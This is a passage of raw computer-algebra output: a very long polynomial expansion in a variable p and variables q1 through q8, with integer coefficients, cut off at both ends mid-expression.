70*p**6*q1*q2**2*q3*q4**2*q5*q6*q7 - 70*p**6*q1*q2**2*q3*q4*q5**2*q6*q7 - 70*p**6*q1*q2**2*q3*q4*q5*q6**2*q7 - 70*p**6*q1*q2**2*q3*q4*q5*q6*q7**2 - 70*p**6*q1*q2**2*q3*q4*q5*q6*q7*q8 + 630*p**6*q1*q2**2*q3*q4*q5*q6*q7 - 70*p**6*q1*q2*q3**3*q4*q5*q6*q7 - 70*p**6*q1*q2*q3**2*q4**2*q5*q6*q7 - 70*p**6*q1*q2*q3**2*q4*q5**2*q6*q7 - 70*p**6*q1*q2*q3**2*q4*q5*q6**2*q7 - 70*p**6*q1*q2*q3**2*q4*q5*q6*q7**2 - 70*p**6*q1*q2*q3**2*q4*q5*q6*q7*q8 + 630*p**6*q1*q2*q3**2*q4*q5*q6*q7 - 70*p**6*q1*q2*q3*q4**3*q5*q6*q7 - 70*p**6*q1*q2*q3*q4**2*q5**2*q6*q7 - 70*p**6*q1*q2*q3*q4**2*q5*q6**2*q7 - 70*p**6*q1*q2*q3*q4**2*q5*q6*q7**2 - 70*p**6*q1*q2*q3*q4**2*q5*q6*q7*q8 + 630*p**6*q1*q2*q3*q4**2*q5*q6*q7 - 70*p**6*q1*q2*q3*q4*q5**3*q6*q7 - 70*p**6*q1*q2*q3*q4*q5**2*q6**2*q7 - 70*p**6*q1*q2*q3*q4*q5**2*q6*q7**2 - 70*p**6*q1*q2*q3*q4*q5**2*q6*q7*q8 + 630*p**6*q1*q2*q3*q4*q5**2*q6*q7 - 70*p**6*q1*q2*q3*q4*q5*q6**3*q7 - 70*p**6*q1*q2*q3*q4*q5*q6**2*q7**2 - 70*p**6*q1*q2*q3*q4*q5*q6**2*q7*q8 + 630*p**6*q1*q2*q3*q4*q5*q6**2*q7 - 70*p**6*q1*q2*q3*q4*q5*q6*q7**3 - 70*p**6*q1*q2*q3*q4*q5*q6*q7**2*q8 + 630*p**6*q1*q2*q3*q4*q5*q6*q7**2 - 70*p**6*q1*q2*q3*q4*q5*q6*q7*q8**2 + 630*p**6*q1*q2*q3*q4*q5*q6*q7*q8 - 2520*p**6*q1*q2*q3*q4*q5*q6*q7 + 270*p**6*q2**3*q3*q4*q5*q6*q7 + 270*p**6*q2**2*q3**2*q4*q5*q6*q7 + 270*p**6*q2**2*q3*q4**2*q5*q6*q7 + 270*p**6*q2**2*q3*q4*q5**2*q6*q7 + 270*p**6*q2**2*q3*q4*q5*q6**2*q7 + 270*p**6*q2**2*q3*q4*q5*q6*q7**2 + 270*p**6*q2**2*q3*q4*q5*q6*q7*q8 - 2160*p**6*q2**2*q3*q4*q5*q6*q7 + 270*p**6*q2*q3**3*q4*q5*q6*q7 + 270*p**6*q2*q3**2*q4**2*q5*q6*q7 + 270*p**6*q2*q3**2*q4*q5**2*q6*q7 + 270*p**6*q2*q3**2*q4*q5*q6**2*q7 + 270*p**6*q2*q3**2*q4*q5*q6*q7**2 + 270*p**6*q2*q3**2*q4*q5*q6*q7*q8 - 2160*p**6*q2*q3**2*q4*q5*q6*q7 + 270*p**6*q2*q3*q4**3*q5*q6*q7 + 270*p**6*q2*q3*q4**2*q5**2*q6*q7 + 270*p**6*q2*q3*q4**2*q5*q6**2*q7 + 270*p**6*q2*q3*q4**2*q5*q6*q7**2 + 270*p**6*q2*q3*q4**2*q5*q6*q7*q8 - 2160*p**6*q2*q3*q4**2*q5*q6*q7 + 270*p**6*q2*q3*q4*q5**3*q6*q7 + 270*p**6*q2*q3*q4*q5**2*q6**2*q7 + 270*p**6*q2*q3*q4*q5**2*q6*q7**2 + 270*p**6*q2*q3*q4*q5**2*q6*q7*q8 - 2160*p**6*q2*q3*q4*q5**2*q6*q7 + 270*p**6*q2*q3*q4*q5*q6**3*q7 + 270*p**6*q2*q3*q4*q5*q6**2*q7**2 + 270*p**6*q2*q3*q4*q5*q6**2*q7*q8 - 2160*p**6*q2*q3*q4*q5*q6**2*q7 + 270*p**6*q2*q3*q4*q5*q6*q7**3 + 270*p**6*q2*q3*q4*q5*q6*q7**2*q8 - 2160*p**6*q2*q3*q4*q5*q6*q7**2 + 270*p**6*q2*q3*q4*q5*q6*q7*q8**2 - 2160*p**6*q2*q3*q4*q5*q6*q7*q8 + 7560*p**6*q2*q3*q4*q5*q6*q7 - 600*p**6*q3**3*q4*q5*q6*q7 - 600*p**6*q3**2*q4**2*q5*q6*q7 - 600*p**6*q3**2*q4*q5**2*q6*q7 - 600*p**6*q3**2*q4*q5*q6**2*q7 - 600*p**6*q3**2*q4*q5*q6*q7**2 - 600*p**6*q3**2*q4*q5*q6*q7*q8 + 4200*p**6*q3**2*q4*q5*q6*q7 - 600*p**6*q3*q4**3*q5*q6*q7 - 600*p**6*q3*q4**2*q5**2*q6*q7 - 600*p**6*q3*q4**2*q5*q6**2*q7 - 600*p**6*q3*q4**2*q5*q6*q7**2 - 600*p**6*q3*q4**2*q5*q6*q7*q8 + 4200*p**6*q3*q4**2*q5*q6*q7 - 600*p**6*q3*q4*q5**3*q6*q7 - 600*p**6*q3*q4*q5**2*q6**2*q7 - 600*p**6*q3*q4*q5**2*q6*q7**2 - 600*p**6*q3*q4*q5**2*q6*q7*q8 + 4200*p**6*q3*q4*q5**2*q6*q7 - 600*p**6*q3*q4*q5*q6**3*q7 - 600*p**6*q3*q4*q5*q6**2*q7**2 - 600*p**6*q3*q4*q5*q6**2*q7*q8 + 4200*p**6*q3*q4*q5*q6**2*q7 - 600*p**6*q3*q4*q5*q6*q7**3 - 600*p**6*q3*q4*q5*q6*q7**2*q8 + 4200*p**6*q3*q4*q5*q6*q7**2 - 600*p**6*q3*q4*q5*q6*q7*q8**2 + 4200*p**6*q3*q4*q5*q6*q7*q8 - 12600*p**6*q3*q4*q5*q6*q7 + 840*p**6*q4**3*q5*q6*q7 + 840*p**6*q4**2*q5**2*q6*q7 + 840*p**6*q4**2*q5*q6**2*q7 + 840*p**6*q4**2*q5*q6*q7**2 + 840*p**6*q4**2*q5*q6*q7*q8 - 5040*p**6*q4**2*q5*q6*q7 + 840*p**6*q4*q5**3*q6*q7 + 840*p**6*q4*q5**2*q6**2*q7 + 840*p**6*q4*q5**2*q6*q7**2 + 840*p**6*q4*q5**2*q6*q7*q8 - 5040*p**6*q4*q5**2*q6*q7 + 840*p**6*q4*q5*q6**3*q7 + 840*p**6*q4*q5*q6**2*q7**2 + 840*p**6*q4*q5*q6**2*q7*q8 - 5040*p**6*q4*q5*q6**2*q7 + 840*p**6*q4*q5*q6*q7**3 + 840*p**6*q4*q5*q6*q7**2*q8 - 5040*p**6*q4*q5*q6*q7**2 + 840*p**6*q4*q5*q6*q7*q8**2 - 5040*p**6*q4*q5*q6*q7*q8 + 12600*p**6*q4*q5*q6*q7 - 756*p**6*q5**3*q6*q7 - 756*p**6*q5**2*q6**2*q7 - 756*p**6*q5**2*q6*q7**2 - 756*p**6*q5**2*q6*q7*q8 + 3780*p**6*q5**2*q6*q7 - 756*p**6*q5*q6**3*q7 - 756*p**6*q5*q6**2*q7**2 - 756*p**6*q5*q6**2*q7*q8 + 3780*p**6*q5*q6**2*q7 - 756*p**6*q5*q6*q7**3 - 756*p**6*q5*q6*q7**2*q8 + 3780*p**6*q5*q6*q7**2 - 756*p**6*q5*q6*q7*q8**2 + 3780*p**6*q5*q6*q7*q8 - 7560*p**6*q5*q6*q7 + 420*p**6*q6**3*q7 + 420*p**6*q6**2*q7**2 + 420*p**6*q6**2*q7*q8 - 1680*p**6*q6**2*q7 + 420*p**6*q6*q7**3 + 420*p**6*q6*q7**2*q8 - 1680*p**6*q6*q7**2 + 420*p**6*q6*q7*q8**2 - 1680*p**6*q6*q7*q8 + 2520*p**6*q6*q7 - 120*p**6*q7**3 - 120*p**6*q7**2*q8 + 360*p**6*q7**2 - 120*p**6*q7*q8**2 + 360*p**6*q7*q8 - 360*p**6*q7 + 210*p**5*q1**3*q2*q3*q4*q5*q6*q7 + 210*p**5*q1**2*q2**2*q3*q4*q5*q6*q7 + 210*p**5*q1**2*q2*q3**2*q4*q5*q6*q7 + 210*p**5*q1**2*q2*q3*q4**2*q5*q6*q7 + 210*p**5*q1**2*q2*q3*q4*q5**2*q6*q7 + 210*p**5*q1**2*q2*q3*q4*q5*q6**2*q7 + 210*p**5*q1**2*q2*q3*q4*q5*q6*q7**2 + 210*p**5*q1**2*q2*q3*q4*q5*q6*q7*q8 - 1890*p**5*q1**2*q2*q3*q4*q5*q6*q7 + 210*p**5*q1*q2**3*q3*q4*q5*q6*q7 + 210*p**5*q1*q2**2*q3**2*q4*q5*q6*q7 + 210*p**5*q1*q2**2*q3*q4**2*q5*q6*q7 + 210*p**5*q1*q2**2*q3*q4*q5**2*q6*q7 + 210*p**5*q1*q2**2*q3*q4*q5*q6**2*q7 + 210*p**5*q1*q2**2*q3*q4*q5*q6*q7**2 + 210*p**5*q1*q2**2*q3*q4*q5*q6*q7*q8 - 1890*p**5*q1*q2**2*q3*q4*q5*q6*q7 + 210*p**5*q1*q2*q3**3*q4*q5*q6*q7 + 210*p**5*q1*q2*q3**2*q4**2*q5*q6*q7 + 210*p**5*q1*q2*q3**2*q4*q5**2*q6*q7 + 210*p**5*q1*q2*q3**2*q4*q5*q6**2*q7 + 210*p**5*q1*q2*q3**2*q4*q5*q6*q7**2 + 210*p**5*q1*q2*q3**2*q4*q5*q6*q7*q8 - 1890*p**5*q1*q2*q3**2*q4*q5*q6*q7 + 210*p**5*q1*q2*q3*q4**3*q5*q6*q7 + 210*p**5*q1*q2*q3*q4**2*q5**2*q6*q7 + 210*p**5*q1*q2*q3*q4**2*q5*q6**2*q7 + 210*p**5*q1*q2*q3*q4**2*q5*q6*q7**2 + 210*p**5*q1*q2*q3*q4**2*q5*q6*q7*q8 - 1890*p**5*q1*q2*q3*q4**2*q5*q6*q7 + 210*p**5*q1*q2*q3*q4*q5**3*q6*q7 + 210*p**5*q1*q2*q3*q4*q5**2*q6**2*q7 + 210*p**5*q1*q2*q3*q4*q5**2*q6*q7**2 + 210*p**5*q1*q2*q3*q4*q5**2*q6*q7*q8 - 1890*p**5*q1*q2*q3*q4*q5**2*q6*q7 + 210*p**5*q1*q2*q3*q4*q5*q6**3*q7 + 210*p**5*q1*q2*q3*q4*q5*q6**2*q7**2 + 210*p**5*q1*q2*q3*q4*q5*q6**2*q7*q8 - 1890*p**5*q1*q2*q3*q4*q5*q6**2*q7 + 210*p**5*q1*q2*q3*q4*q5*q6*q7**3 + 210*p**5*q1*q2*q3*q4*q5*q6*q7**2*q8 - 1890*p**5*q1*q2*q3*q4*q5*q6*q7**2 + 210*p**5*q1*q2*q3*q4*q5*q6*q7*q8**2 - 1890*p**5*q1*q2*q3*q4*q5*q6*q7*q8 + 7560*p**5*q1*q2*q3*q4*q5*q6*q7 - 675*p**5*q2**3*q3*q4*q5*q6*q7 - 675*p**5*q2**2*q3**2*q4*q5*q6*q7 - 675*p**5*q2**2*q3*q4**2*q5*q6*q7 - 675*p**5*q2**2*q3*q4*q5**2*q6*q7 - 675*p**5*q2**2*q3*q4*q5*q6**2*q7 - 675*p**5*q2**2*q3*q4*q5*q6*q7**2 - 675*p**5*q2**2*q3*q4*q5*q6*q7*q8 + 5400*p**5*q2**2*q3*q4*q5*q6*q7 - 675*p**5*q2*q3**3*q4*q5*q6*q7 - 675*p**5*q2*q3**2*q4**2*q5*q6*q7 - 675*p**5*q2*q3**2*q4*q5**2*q6*q7 - 675*p**5*q2*q3**2*q4*q5*q6**2*q7 - 675*p**5*q2*q3**2*q4*q5*q6*q7**2 - 675*p**5*q2*q3**2*q4*q5*q6*q7*q8 + 5400*p**5*q2*q3**2*q4*q5*q6*q7 - 675*p**5*q2*q3*q4**3*q5*q6*q7 - 675*p**5*q2*q3*q4**2*q5**2*q6*q7 - 675*p**5*q2*q3*q4**2*q5*q6**2*q7 - 675*p**5*q2*q3*q4**2*q5*q6*q7**2 - 675*p**5*q2*q3*q4**2*q5*q6*q7*q8 + 5400*p**5*q2*q3*q4**2*q5*q6*q7 - 675*p**5*q2*q3*q4*q5**3*q6*q7 - 675*p**5*q2*q3*q4*q5**2*q6**2*q7 - 675*p**5*q2*q3*q4*q5**2*q6*q7**2 - 675*p**5*q2*q3*q4*q5**2*q6*q7*q8 + 5400*p**5*q2*q3*q4*q5**2*q6*q7 - 675*p**5*q2*q3*q4*q5*q6**3*q7 - 675*p**5*q2*q3*q4*q5*q6**2*q7**2 - 675*p**5*q2*q3*q4*q5*q6**2*q7*q8 + 5400*p**5*q2*q3*q4*q5*q6**2*q7 - 675*p**5*q2*q3*q4*q5*q6*q7**3 - 675*p**5*q2*q3*q4*q5*q6*q7**2*q8 + 5400*p**5*q2*q3*q4*q5*q6*q7**2 - 675*p**5*q2*q3*q4*q5*q6*q7*q8**2 + 5400*p**5*q2*q3*q4*q5*q6*q7*q8 - 18900*p**5*q2*q3*q4*q5*q6*q7 + 1200*p**5*q3**3*q4*q5*q6*q7 + 1200*p**5*q3**2*q4**2*q5*q6*q7 + 1200*p**5*q3**2*q4*q5**2*q6*q7 + 1200*p**5*q3**2*q4*q5*q6**2*q7 + 1200*p**5*q3**2*q4*q5*q6*q7**2 + 1200*p**5*q3**2*q4*q5*q6*q7*q8 - 8400*p**5*q3**2*q4*q5*q6*q7 + 1200*p**5*q3*q4**3*q5*q6*q7 + 1200*p**5*q3*q4**2*q5**2*q6*q7 + 1200*p**5*q3*q4**2*q5*q6**2*q7 + 1200*p**5*q3*q4**2*q5*q6*q7**2 + 1200*p**5*q3*q4**2*q5*q6*q7*q8 - 8400*p**5*q3*q4**2*q5*q6*q7 + 1200*p**5*q3*q4*q5**3*q6*q7 + 1200*p**5*q3*q4*q5**2*q6**2*q7 + 1200*p**5*q3*q4*q5**2*q6*q7**2 + 1200*p**5*q3*q4*q5**2*q6*q7*q8 - 8400*p**5*q3*q4*q5**2*q6*q7 + 1200*p**5*q3*q4*q5*q6**3*q7 + 1200*p**5*q3*q4*q5*q6**2*q7**2 + 1200*p**5*q3*q4*q5*q6**2*q7*q8 - 8400*p**5*q3*q4*q5*q6**2*q7 + 1200*p**5*q3*q4*q5*q6*q7**3 + 1200*p**5*q3*q4*q5*q6*q7**2*q8 - 8400*p**5*q3*q4*q5*q6*q7**2 + 1200*p**5*q3*q4*q5*q6*q7*q8**2 - 8400*p**5*q3*q4*q5*q6*q7*q8 + 25200*p**5*q3*q4*q5*q6*q7 - 1260*p**5*q4**3*q5*q6*q7 - 1260*p**5*q4**2*q5**2*q6*q7 - 1260*p**5*q4**2*q5*q6**2*q7 - 1260*p**5*q4**2*q5*q6*q7**2 - 1260*p**5*q4**2*q5*q6*q7*q8 + 7560*p**5*q4**2*q5*q6*q7 - 1260*p**5*q4*q5**3*q6*q7 - 1260*p**5*q4*q5**2*q6**2*q7 - 1260*p**5*q4*q5**2*q6*q7**2 - 1260*p**5*q4*q5**2*q6*q7*q8 + 7560*p**5*q4*q5**2*q6*q7 - 1260*p**5*q4*q5*q6**3*q7 - 1260*p**5*q4*q5*q6**2*q7**2 - 1260*p**5*q4*q5*q6**2*q7*q8 + 7560*p**5*q4*q5*q6**2*q7 - 1260*p**5*q4*q5*q6*q7**3 - 1260*p**5*q4*q5*q6*q7**2*q8 + 7560*p**5*q4*q5*q6*q7**2 - 1260*p**5*q4*q5*q6*q7*q8**2 + 7560*p**5*q4*q5*q6*q7*q8 - 18900*p**5*q4*q5*q6*q7 + 756*p**5*q5**3*q6*q7 + 756*p**5*q5**2*q6**2*q7 + 756*p**5*q5**2*q6*q7**2 + 756*p**5*q5**2*q6*q7*q8 - 3780*p**5*q5**2*q6*q7 + 756*p**5*q5*q6**3*q7 + 756*p**5*q5*q6**2*q7**2 + 756*p**5*q5*q6**2*q7*q8 - 3780*p**5*q5*q6**2*q7 + 756*p**5*q5*q6*q7**3 + 756*p**5*q5*q6*q7**2*q8 - 3780*p**5*q5*q6*q7**2 + 756*p**5*q5*q6*q7*q8**2 - 3780*p**5*q5*q6*q7*q8 + 7560*p**5*q5*q6*q7 - 210*p**5*q6**3*q7 - 210*p**5*q6**2*q7**2 - 210*p**5*q6**2*q7*q8 + 840*p**5*q6**2*q7 - 210*p**5*q6*q7**3 - 210*p**5*q6*q7**2*q8 + 840*p**5*q6*q7**2 - 210*p**5*q6*q7*q8**2 + 840*p**5*q6*q7*q8 - 1260*p**5*q6*q7 - 350*p**4*q1**3*q2*q3*q4*q5*q6*q7 - 350*p**4*q1**2*q2**2*q3*q4*q5*q6*q7 - 350*p**4*q1**2*q2*q3**2*q4*q5*q6*q7 - 350*p**4*q1**2*q2*q3*q4**2*q5*q6*q7 - 350*p**4*q1**2*q2*q3*q4*q5**2*q6*q7 - 350*p**4*q1**2*q2*q3*q4*q5*q6**2*q7 - 350*p**4*q1**2*q2*q3*q4*q5*q6*q7**2 - 350*p**4*q1**2*q2*q3*q4*q5*q6*q7*q8 + 3150*p**4*q1**2*q2*q3*q4*q5*q6*q7 - 350*p**4*q1*q2**3*q3*q4*q5*q6*q7 - 350*p**4*q1*q2**2*q3**2*q4*q5*q6*q7 - 350*p**4*q1*q2**2*q3*q4**2*q5*q6*q7 - 350*p**4*q1*q2**2*q3*q4*q5**2*q6*q7 - 350*p**4*q1*q2**2*q3*q4*q5*q6**2*q7 - 350*p**4*q1*q2**2*q3*q4*q5*q6*q7**2 - 350*p**4*q1*q2**2*q3*q4*q5*q6*q7*q8 + 3150*p**4*q1*q2**2*q3*q4*q5*q6*q7 - 350*p**4*q1*q2*q3**3*q4*q5*q6*q7 - 350*p**4*q1*q2*q3**2*q4**2*q5*q6*q7 - 350*p**4*q1*q2*q3**2*q4*q5**2*q6*q7 - 350*p**4*q1*q2*q3**2*q4*q5*q6**2*q7 - 350*p**4*q1*q2*q3**2*q4*q5*q6*q7**2 - 350*p**4*q1*q2*q3**2*q4*q5*q6*q7*q8 + 3150*p**4*q1*q2*q3**2*q4*q5*q6*q7 - 350*p**4*q1*q2*q3*q4**3*q5*q6*q7 - 350*p**4*q1*q2*q3*q4**2*q5**2*q6*q7 - 350*p**4*q1*q2*q3*q4**2*q5*q6**2*q7 - 350*p**4*q1*q2*q3*q4**2*q5*q6*q7**2 - 350*p**4*q1*q2*q3*q4**2*q5*q6*q7*q8 + 3150*p**4*q1*q2*q3*q4**2*q5*q6*q7 - 350*p**4*q1*q2*q3*q4*q5**3*q6*q7 - 350*p**4*q1*q2*q3*q4*q5**2*q6**2*q7 - 350*p**4*q1*q2*q3*q4*q5**2*q6*q7**2 - 350*p**4*q1*q2*q3*q4*q5**2*q6*q7*q8 + 3150*p**4*q1*q2*q3*q4*q5**2*q6*q7 - 350*p**4*q1*q2*q3*q4*q5*q6**3*q7 - 350*p**4*q1*q2*q3*q4*q5*q6**2*q7**2 - 350*p**4*q1*q2*q3*q4*q5*q6**2*q7*q8 + 3150*p**4*q1*q2*q3*q4*q5*q6**2*q7 - 350*p**4*q1*q2*q3*q4*q5*q6*q7**3 - 350*p**4*q1*q2*q3*q4*q5*q6*q7**2*q8 + 3150*p**4*q1*q2*q3*q4*q5*q6*q7**2 - 350*p**4*q1*q2*q3*q4*q5*q6*q7*q8**2 + 3150*p**4*q1*q2*q3*q4*q5*q6*q7*q8 - 12600*p**4*q1*q2*q3*q4*q5*q6*q7 + 900*p**4*q2**3*q3*q4*q5*q6*q7 + 900*p**4*q2**2*q3**2*q4*q5*q6*q7 + 900*p**4*q2**2*q3*q4**2*q5*q6*q7 + 900*p**4*q2**2*q3*q4*q5**2*q6*q7 + 900*p**4*q2**2*q3*q4*q5*q6**2*q7 + 900*p**4*q2**2*q3*q4*q5*q6*q7**2 + 900*p**4*q2**2*q3*q4*q5*q6*q7*q8 - 7200*p**4*q2**2*q3*q4*q5*q6*q7 + 900*p**4*q2*q3**3*q4*q5*q6*q7 + 900*p**4*q2*q3**2*q4**2*q5*q6*q7 + 900*p**4*q2*q3**2*q4*q5**2*q6*q7 + 900*p**4*q2*q3**2*q4*q5*q6**2*q7 + 900*p**4*q2*q3**2*q4*q5*q6*q7**2 + 900*p**4*q2*q3**2*q4*q5*q6*q7*q8 - 7200*p**4*q2*q3**2*q4*q5*q6*q7 + 900*p**4*q2*q3*q4**3*q5*q6*q7 + 900*p**4*q2*q3*q4**2*q5**2*q6*q7 + 900*p**4*q2*q3*q4**2*q5*q6**2*q7 + 900*p**4*q2*q3*q4**2*q5*q6*q7**2 + 900*p**4*q2*q3*q4**2*q5*q6*q7*q8 - 7200*p**4*q2*q3*q4**2*q5*q6*q7 + 900*p**4*q2*q3*q4*q5**3*q6*q7 + 900*p**4*q2*q3*q4*q5**2*q6**2*q7 + 900*p**4*q2*q3*q4*q5**2*q6*q7**2 + 900*p**4*q2*q3*q4*q5**2*q6*q7*q8 - 7200*p**4*q2*q3*q4*q5**2*q6*q7 + 900*p**4*q2*q3*q4*q5*q6**3*q7 + 900*p**4*q2*q3*q4*q5*q6**2*q7**2 + 900*p**4*q2*q3*q4*q5*q6**2*q7*q8 - 7200*p**4*q2*q3*q4*q5*q6**2*q7 + 900*p**4*q2*q3*q4*q5*q6*q7**3 + 900*p**4*q2*q3*q4*q5*q6*q7**2*q8 - 7200*p**4*q2*q3*q4*q5*q6*q7**2 + 900*p**4*q2*q3*q4*q5*q6*q7*q8**2 - 7200*p**4*q2*q3*q4*q5*q6*q7*q8 + 25200*p**4*q2*q3*q4*q5*q6*q7 - 1200*p**4*q3**3*q4*q5*q6*q7 - 1200*p**4*q3**2*q4**2*q5*q6*q7 - 1200*p**4*q3**2*q4*q5**2*q6*q7 - 1200*p**4*q3**2*q4*q5*q6**2*q7 - 1200*p**4*q3**2*q4*q5*q6*q7**2 - 1200*p**4*q3**2*q4*q5*q6*q7*q8 + 8400*p**4*q3**2*q4*q5*q6*q7 - 1200*p**4*q3*q4**3*q5*q6*q7 - 1200*p**4*q3*q4**2*q5**2*q6*q7 - 1200*p**4*q3*q4**2*q5*q6**2*q7 - 1200*p**4*q3*q4**2*q5*q6*q7**2 - 1200*p**4*q3*q4**2*q5*q6*q7*q8 + 8400*p**4*q3*q4**2*q5*q6*q7 - 1200*p**4*q3*q4*q5**3*q6*q7 - 1200*p**4*q3*q4*q5**2*q6**2*q7 - 1200*p**4*q3*q4*q5**2*q6*q7**2 - 1200*p**4*q3*q4*q5**2*q6*q7*q8 + 8400*p**4*q3*q4*q5**2*q6*q7 - 1200*p**4*q3*q4*q5*q6**3*q7 - 1200*p**4*q3*q4*q5*q6**2*q7**2 - 1200*p**4*q3*q4*q5*q6**2*q7*q8 + 8400*p**4*q3*q4*q5*q6**2*q7 - 1200*p**4*q3*q4*q5*q6*q7**3 - 1200*p**4*q3*q4*q5*q6*q7**2*q8 + 8400*p**4*q3*q4*q5*q6*q7**2 - 1200*p**4*q3*q4*q5*q6*q7*q8**2 + 8400*p**4*q3*q4*q5*q6*q7*q8 - 25200*p**4*q3*q4*q5*q6*q7 + 840*p**4*q4**3*q5*q6*q7 + 840*p**4*q4**2*q5**2*q6*q7 + 840*p**4*q4**2*q5*q6**2*q7 + 840*p**4*q4**2*q5*q6*q7**2 + 840*p**4*q4**2*q5*q6*q7*q8 - 5040*p**4*q4**2*q5*q6*q7 + 840*p**4*q4*q5**3*q6*q7 + 840*p**4*q4*q5**2*q6**2*q7 + 840*p**4*q4*q5**2*q6*q7**2 + 840*p**4*q4*q5**2*q6*q7*q8 - 5040*p**4*q4*q5**2*q6*q7 + 840*p**4*q4*q5*q6**3*q7 + 840*p**4*q4*q5*q6**2*q7**2 + 840*p**4*q4*q5*q6**2*q7*q8 - 5040*p**4*q4*q5*q6**2*q7 + 840*p**4*q4*q5*q6*q7**3 + 840*p**4*q4*q5*q6*q7**2*q8 - 5040*p**4*q4*q5*q6*q7**2 + 840*p**4*q4*q5*q6*q7*q8**2 - 5040*p**4*q4*q5*q6*q7*q8 + 12600*p**4*q4*q5*q6*q7 - 252*p**4*q5**3*q6*q7 - 252*p**4*q5**2*q6**2*q7 - 252*p**4*q5**2*q6*q7**2 - 252*p**4*q5**2*q6*q7*q8 + 1260*p**4*q5**2*q6*q7 - 252*p**4*q5*q6**3*q7 - 252*p**4*q5*q6**2*q7**2 - 252*p**4*q5*q6**2*q7*q8 + 1260*p**4*q5*q6**2*q7 - 252*p**4*q5*q6*q7**3 - 252*p**4*q5*q6*q7**2*q8 + 1260*p**4*q5*q6*q7**2 - 252*p**4*q5*q6*q7*q8**2 + 1260*p**4*q5*q6*q7*q8 - 2520*p**4*q5*q6*q7 + 350*p**3*q1**3*q2*q3*q4*q5*q6*q7 + 350*p**3*q1**2*q2**2*q3*q4*q5*q6*q7 + 350*p**3*q1**2*q2*q3**2*q4*q5*q6*q7 + 350*p**3*q1**2*q2*q3*q4**2*q5*q6*q7 + 350*p**3*q1**2*q2*q3*q4*q5**2*q6*q7 + 350*p**3*q1**2*q2*q3*q4*q5*q6**2*q7 + 350*p**3*q1**2*q2*q3*q4*q5*q6*q7**2 + 350*p**3*q1**2*q2*q3*q4*q5*q6*q7*q8 - 3150*p**3*q1**2*q2*q3*q4*q5*q6*q7 + 350*p**3*q1*q2**3*q3*q4*q5*q6*q7 + 350*p**3*q1*q2**2*q3**2*q4*q5*q6*q7 + 350*p**3*q1*q2**2*q3*q4**2*q5*q6*q7 + 350*p**3*q1*q2**2*q3*q4*q5**2*q6*q7 + 350*p**3*q1*q2**2*q3*q4*q5*q6**2*q7 + 350*p**3*q1*q2**2*q3*q4*q5*q6*q7**2 + 350*p**3*q1*q2**2*q3*q4*q5*q6*q7*q8 - 3150*p**3*q1*q2**2*q3*q4*q5*q6*q7 + 350*p**3*q1*q2*q3**3*q4*q5*q6*q7 + 350*p**3*q1*q2*q3**2*q4**2*q5*q6*q7 + 350*p**3*q1*q2*q3**2*q4*q5**2*q6*q7 + 350*p**3*q1*q2*q3**2*q4*q5*q6**2*q7 + 350*p**3*q1*q2*q3**2*q4*q5*q6*q7**2 + 350*p**3*q1*q2*q3**2*q4*q5*q6*q7*q8 - 3150*p**3*q1*q2*q3**2*q4*q5*q6*q7 + 350*p**3*q1*q2*q3*q4**3*q5*q6*q7 + 350*p**3*q1*q2*q3*q4**2*q5**2*q6*q7 + 350*p**3*q1*q2*q3*q4**2*q5*q6**2*q7 + 350*p**3*q1*q2*q3*q4**2*q5*q6*q7**2 + 350*p**3*q1*q2*q3*q4**2*q5*q6*q7*q8 - 3150*p**3*q1*q2*q3*q4**2*q5*q6*q7 + 350*p**3*q1*q2*q3*q4*q5**3*q6*q7 + 350*p**3*q1*q2*q3*q4*q5**2*q6**2*q7 + 350*p**3*q1*q2*q3*q4*q5**2*q6*q7**2 + 350*p**3*q1*q2*q3*q4*q5**2*q6*q7*q8 - 3150*p**3*q1*q2*q3*q4*q5**2*q6*q7 + 350*p**3*q1*q2*q3*q4*q5*q6**3*q7 + 350*p**3*q1*q2*q3*q4*q5*q6**2*q7**2 + 350*p**3*q1*q2*q3*q4*q5*q6**2*q7*q8 - 3150*p**3*q1*q2*q3*q4*q5*q6**2*q7 + 350*p**3*q1*q2*q3*q4*q5*q6*q7**3 + 350*p**3*q1*q2*q3*q4*q5*q6*q7**2*q8 - 3150*p**3*q1*q2*q3*q4*q5*q6*q7**2 + 350*p**3*q1*q2*q3*q4*q5*q6*q7*q8**2 - 3150*p**3*q1*q2*q3*q4*q5*q6*q7*q8 + 12600*p**3*q1*q2*q3*q4*q5*q6*q7 - 675*p**3*q2**3*q3*q4*q5*q6*q7 - 675*p**3*q2**2*q3**2*q4*q5*q6*q7 - 675*p**3*q2**2*q3*q4**2*q5*q6*q7 - 675*p**3*q2**2*q3*q4*q5**2*q6*q7 - 675*p**3*q2**2*q3*q4*q5*q6**2*q7 - 675*p**3*q2**2*q3*q4*q5*q6*q7**2 - 675*p**3*q2**2*q3*q4*q5*q6*q7*q8 + 5400*p**3*q2**2*q3*q4*q5*q6*q7 - 675*p**3*q2*q3**3*q4*q5*q6*q7 - 675*p**3*q2*q3**2*q4**2*q5*q6*q7 - 675*p**3*q2*q3**2*q4*q5**2*q6*q7 - 675*p**3*q2*q3**2*q4*q5*q6**2*q7 - 675*p**3*q2*q3**2*q4*q5*q6*q7**2 - 675*p**3*q2*q3**2*q4*q5*q6*q7*q8 + 5400*p**3*q2*q3**2*q4*q5*q6*q7 - 675*p**3*q2*q3*q4**3*q5*q6*q7 - 675*p**3*q2*q3*q4**2*q5**2*q6*q7 - 675*p**3*q2*q3*q4**2*q5*q6**2*q7 - 675*p**3*q2*q3*q4**2*q5*q6*q7**2 - 675*p**3*q2*q3*q4**2*q5*q6*q7*q8 + 5400*p**3*q2*q3*q4**2*q5*q6*q7 - 675*p**3*q2*q3*q4*q5**3*q6*q7 - 675*p**3*q2*q3*q4*q5**2*q6**2*q7 - 675*p**3*q2*q3*q4*q5**2*q6*q7**2 - 675*p**3*q2*q3*q4*q5**2*q6*q7*q8 + 5400*p**3*q2*q3*q4*q5**2*q6*q7 - 675*p**3*q2*q3*q4*q5*q6**3*q7 - 675*p**3*q2*q3*q4*q5*q6**2*q7**2 - 675*p**3*q2*q3*q4*q5*q6**2*q7*q8 + 5400*p**3*q2*q3*q4*q5*q6**2*q7 - 675*p**3*q2*q3*q4*q5*q6*q7**3 - 675*p**3*q2*q3*q4*q5*q6*q7**2*q8 + 5400*p**3*q2*q3*q4*q5*q6*q7**2 - 675*p**3*q2*q3*q4*q5*q6*q7*q8**2 + 5400*p**3*q2*q3*q4*q5*q6*q7*q8 - 18900*p**3*q2*q3*q4*q5*q6*q7 + 600*p**3*q3**3*q4*q5*q6*q7 + 600*p**3*q3**2*q4**2*q5*q6*q7 + 600*p**3*q3**2*q4*q5**2*q6*q7 + 600*p**3*q3**2*q4*q5*q6**2*q7 + 